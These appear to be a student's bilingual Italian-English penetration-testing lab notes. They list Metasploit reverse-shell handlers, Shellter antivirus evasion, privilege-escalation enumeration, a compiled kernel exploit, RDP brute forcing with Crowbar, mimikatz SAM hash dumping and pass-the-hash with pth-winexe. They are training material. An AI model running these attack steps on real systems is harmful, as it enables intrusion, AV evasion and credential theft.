C:\Users\offsec\Desktop> powershell.\av\_test.ps1

\*\*se ci da policy non valide allora...

powershell

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser Undefined

PS C:\Users\offsec\Desktop> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope C urrentUser

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser Unrestricted

\*\*

msfconsole --> multi/handler --> payload Windows/meterpreter/reverse\_tcp

exploit

C:\Users\admin\Desktop> .\av\_test.ps1

meterpreter > getuid

Shellter:

is a dynamic shellcode injection tool most used to bypass antivirus uses multiple techniques to create a valid backdoor and an executable with payload shellcode

(also supports other payloads not only meterpreter )

Shelter:

è un dinamic shellcode injection tool più utilizzato per bypassare l' antivirus usa più tecniche per creare una backdoor valida e un eseguibile con payload shellcode

(supporta anche altri payload non solo meterpreter )

apt-cache search shellter

sudo apt install shellter

apt install wine

set LHOST

set LPORT

\*set AutoRunScript post/windows/manage/migrate\*

exploit

---->Privilege Escalation

\*settings of the firewall\* scoprire impostazioni del firewall

C:\Users\student> netsh advfirewall firewall show rule name=all

--enumeration/privilege escalation su windows

c:\Tools\privilege\_escalation\windows-privesc-check-master>windows-privesc-check2.exe -h

c:\Tools\privilege\_escalation\windows-privesc-check-master>windows-privesc-check2.exe --dump -G

--enumaration ed escalation su Linux

student@debian:~$./unix-privesc-check

nel caso della cve-2017-10000112

cat /etc/issue

uname -r

arch x86\_64

searchsploit linux kernel ubuntu 16.04

gcc 43418.c -o exploit

ls-lah exploit

whoami (root)

--Brute Force

crowbar (network authentication cracking tool primary designed for the leverage SSH keys rather than passwords e funziona bene per RDP)

crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1

hash extraction is on LSASS (Local Security Authority Subsystem ) ma in quel caso se non si riesce ad accedere si utilizza mimikatz da amministratore

C:> C:\Tools\password\_attacks\mimikatz.exe

mimikatz #: privilege::debug

Privilege '20' OK

mimikatz #: token::elevate

NT AUTHORITY\SYSTEM

mimikatz #: lsadump::sam

//sam in this case is our database/ in questo caso era il nostro database

dati e tra tutti ci sta anche l'utente nostro

User:Offsec

Hash NTLM: 2892dfggf...

kali@kali: pth-winexe

kali@kali:pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2 eb3b9f05c425e

//10.11.0.22 cmd

C:\Windows\system32>

Another website that is a MUST TO KNOW is to use pentestmonkey for reverse shell link in below:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet